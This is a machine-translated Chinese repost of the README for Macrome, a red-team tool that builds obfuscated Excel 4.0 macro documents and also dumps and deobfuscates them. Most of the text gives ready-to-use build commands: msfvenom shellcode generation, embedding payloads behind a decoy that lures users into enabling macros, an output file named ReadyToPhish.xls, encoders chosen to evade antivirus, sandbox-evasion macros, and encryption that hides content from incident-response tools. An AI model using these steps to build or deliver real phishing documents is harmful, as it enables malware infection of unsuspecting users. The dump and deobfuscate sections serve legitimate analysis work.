开卷有益 · 不求甚解
适用于红队和分析师的[Excel 宏文档阅读器/编写器。](https://www.kitploit.com/search/label/Excel Macro)可以在此处和此处找到描述此工具实际功能的博客文章。
克隆或下载此存储库,然后可以使用 dotnet 执行该工具 - 例如:
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin
要么
去混淆 --path obfuscated_document.xls
dotnet buildcd bin/Debug/netcoreapp2.0dotnet Macrome.dll deobfuscate --path obfuscated_document.xls
请注意,要按配置工作,需要 5.0+ 版本的 dotnet - 可以从https://dotnet.microsoft.com/download/dotnet/5.0获取。
不需要 dotnet 并包含可执行二进制文件的工具的二进制版本可以在 Windows、OSX 和 Linux 的版本部分找到。
通过使用dotnet run
解决方案目录或dotnet
针对已构建的 Macrome 二进制文件运行 Macrome。Macrome 有三种操作模式 - 构建模式、转储模式和反混淆模式。
使用命令运行 Macrome 以build
使用提供的诱饵文档和宏有效负载生成包含混淆宏表的 Excel 文档。dotnet Macrome.dll build -h
将显示完整的使用说明。
例如,要使用path/to/decoy_document.xls
存储在 的诱饵文档和二进制 x86 shellcode构建文档path/to/shellcode.bin
,请运行dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin
. 这将生成一个 XLS 2003 文档,在打开并按下“启用内容”按钮后,将执行shellcode.bin
.
文档的其余部分将详细解释每个标志/功能,但现在可以通过运行获得 Macrome 必须提供的“最新和最棒的”:
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls
首先生成一个包含用户应该看到的内容的基本“诱饵”Excel 文档。这应该是某种诱使用户单击 Excel 中显示的“启用宏”按钮的诱饵。在https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-上有一些“最新和最伟大”的诱饵创建示例。创建此工作表后,将文档另存为类型Excel 97-2003 Workbook (*.xls)
而不是较新的Excel Workbook (*.xlsx)
格式。一个示例诱饵文档包含在/Docs/decoy_document.xls
. 请注意,如果您使用 XOR 混淆来保护您的文档,您目前无法将图像添加到您的诱饵中。
接下来,生成一个 shellcode 有效负载以提供给该工具。示例二进制有效负载(弹出 calc)是msfvenom
使用以下参数生成的:
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
还支持 64 位有效负载。示例 64 位有效负载popcalc64.bin
是使用以下命令生成的:
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
然后可以通过执行以下命令嵌入此有效负载:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
当前 64 位有效负载将要求还提供 x86 有效负载。如果这不是问题,您可以为 x86 有效负载标志指定垃圾。
最终支持直接在文档中嵌入 .NET 程序集,但如果您现在想这样做,我建议使用EXCELntDonut。
从 Macrome 0.5.0 及更高版本开始,所有有效负载都将使用 base64 编码,因此您的有效负载将能够包含任何字节序列(包括空字节)。
如果你想使用 Macrome 嵌入一个 .NET 可执行文件,我建议使用带有命令的Donutdonut.exe -a 3 -b 1 -z 1 executableToEmbed.exe
,然后将生成的有效负载作为 32 位和 64 位有效负载嵌入。
另一个可靠的替代品是Amber,它非常适合嵌入一些相当大的 Go 二进制文件。
如果出于某种原因您想使用 Macrome 0.5.0 之前的旧有效负载编码模式,请使用--payload-method
带有SheetPackingMethod
. 请注意,在传统模式下,使用大多数字母数字有效负载将减少生成的宏文件的大小,因为以宏形式表示字母和数字更容易,而不是CHAR
像等一样重复附加函数调用=CHAR(123)&CHAR(124)&CHAR(125)...
。但是该工具应该能够处理一个完全不可打印的二进制有效载荷。
与二进制有效负载的使用类似,必须首先生成诱饵文档。接下来,应该创建一个包含要运行的宏的文本文件。宏应该有由;
字符分隔的列和由换行符分隔的行。目前,指定的宏的内容将从 A1 开始写入和执行 - 尽管将来会添加支持以允许指定开始位置。示例宏可以在/Docs/macro_example.txt
和中找到/Docs/multi_column_macro_example.txt
。
最后运行命令:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro
payload-type
请注意设置为 的标志的用法Macro
。
您可以自己生成宏,也可以使用精彩的EXCELntDonut工具为您创建宏。
这些将在即将发布的博客文章中详细介绍,但 Macrome 现在可以以三种不同的方式对宏有效负载进行编码。其中大多数仍然未被任何 AV 检测到 - 但请尝试使用您的有效负载以查看最有效的方法。
IF
和SET.NAME
函数调用它来替换重复 CHAR() 函数的使用。这是著名的恶意软件作者尚未滥用的东西,因此目前不太可能对 AV 进行 ping 操作。ROUND
函数中。在构建时使用标志指定编码method
- 例如,使用CharSubroutine编码器:
dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls
有时您可能希望某些宏在有效负载代码之前运行。当您为沙盒规避添加宏和/或验证您的有效负载是否在正确的主机上运行时,这很有帮助。
前导文件的格式与使用时完全相同payload-type
Macro
,但仅支持单列。例如,您可以有一个序言:
=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)=IF(GET.WORKSPACE(19),,CLOSE(FALSE))=IF(GET.WORKSPACE(42),,CLOSE(FALSE))
这将检查屏幕分辨率值、鼠标的存在以及播放声音的能力。如果其中任何一个失败,则应用程序将在运行主要有效负载内容之前关闭。
此外,如果您希望前导宏立即评估,而不是在解压缩其余宏之后,您可以在命令前加上%%%%%
. 例如:
%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)%%%%%=IF(GET.WORKSPACE(19),,HALT())%%%%%=IF(GET.WORKSPACE(42),,HALT())
这有助于最大限度地减少在终止文档之前运行的 XLM 命令的数量,并且有助于对沙盒指示器的存在做出更直接的反应。
Macrome 0.3.0+ 支持使用 XOR 混淆对文档进行密码保护,这是一种旧版 Office 的传统加密模式。这种加密模式通常不受 IR 工具的支持,可以帮助保护文档内容不被检查。
Excel 有一个“默认”密码VelvetSweatshop
,它允许您加密文档内容,同时仍然使文档在打开时自动解密。这是在攻击性上下文中使用 XOR 混淆的“理想”方式。Macrome 将在反混淆或转储文档时自动尝试使用此密码。
要使用此功能,只需添加--password <passwordToEncrypt>
到您的构建命令。
使用命令运行 Macromedump
以打印任意文档的最相关 BIFF8 记录。此功能类似于olevba的宏转储功能,但它对边缘情况 Ptg 条目进行了更完整的处理,以帮助确保格式尽可能接近 Excel 的实际 FORMULA 条目。这是我在制作这个工具时用来调试一些奇怪的边缘案例文档的工具,所以它比较健壮。我确信现在有大量的边缘案例不受支持,所以如果你发现一个文档没有正确转储其内容,请打开一个问题并将文档作为 zip 文件共享。
dump 命令只需要一个path
指向目标文件的参数。一个示例调用是:
dotnet Macrome.dll dump --path docToDump.xls
该dump
命令的大多数标志用于调试,但dump-hex-bytes
对于希望查看相关记录的单个字节有效负载的用户可能很有用。这与BiffView的功能相似,但默认情况下只会显示特定于恶意文档的条目。
使用命令运行 Macromedeobfuscate
以获取经过混淆的 XLS 二进制文档并尝试反转几种反分析行为。dotnet Macrome.dll deobfuscate -h
将显示完整的使用说明。目前,默认情况下,此模式将:
Lbl
规范化Excel 将解释为 Auto_Open 条目的所有条目的手动指定标签,尽管它们的名称与该字符串不匹配。例如,要对位于 的恶意 XLS 2003 宏文件进行去混淆处理path/to/obfuscated_file.xls
,请运行dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls
. 这将生成一个混淆文件的副本,这将更容易手动或使用工具进行分析。
注意:这还没有做太多,主要是为了演示如何使用修改后的 b2xtranslator 库来帮助自动化反混淆。更多有用的功能即将推出。
非常感谢为了写这篇文章,我能够站在所有的肩膀上。
b2xtranslator
库的原始作者以及 EvolutionJobs 的人员对其进行了更新并将其移植到 dotnet。这里使用的代码最初来源于https://github.com/EvolutionJobs/b2xtranslator。下载Macrome
近期阅读文章
,质量尚可的,大部分较新,但也可能有老文章。开卷有益,不求甚解
,不需面面俱到,能学到一个小技巧就赚了。译文仅供参考
,具体内容表达以及含义, 以原文为准
(译文来自自动翻译)尽量阅读原文
。(点击原文跳转)每日早读
基本自动化发布(不定期删除),这是一项测试
最新动态: Follow Me
微信/微博:
red4blue
公众号/知乎:
blueteams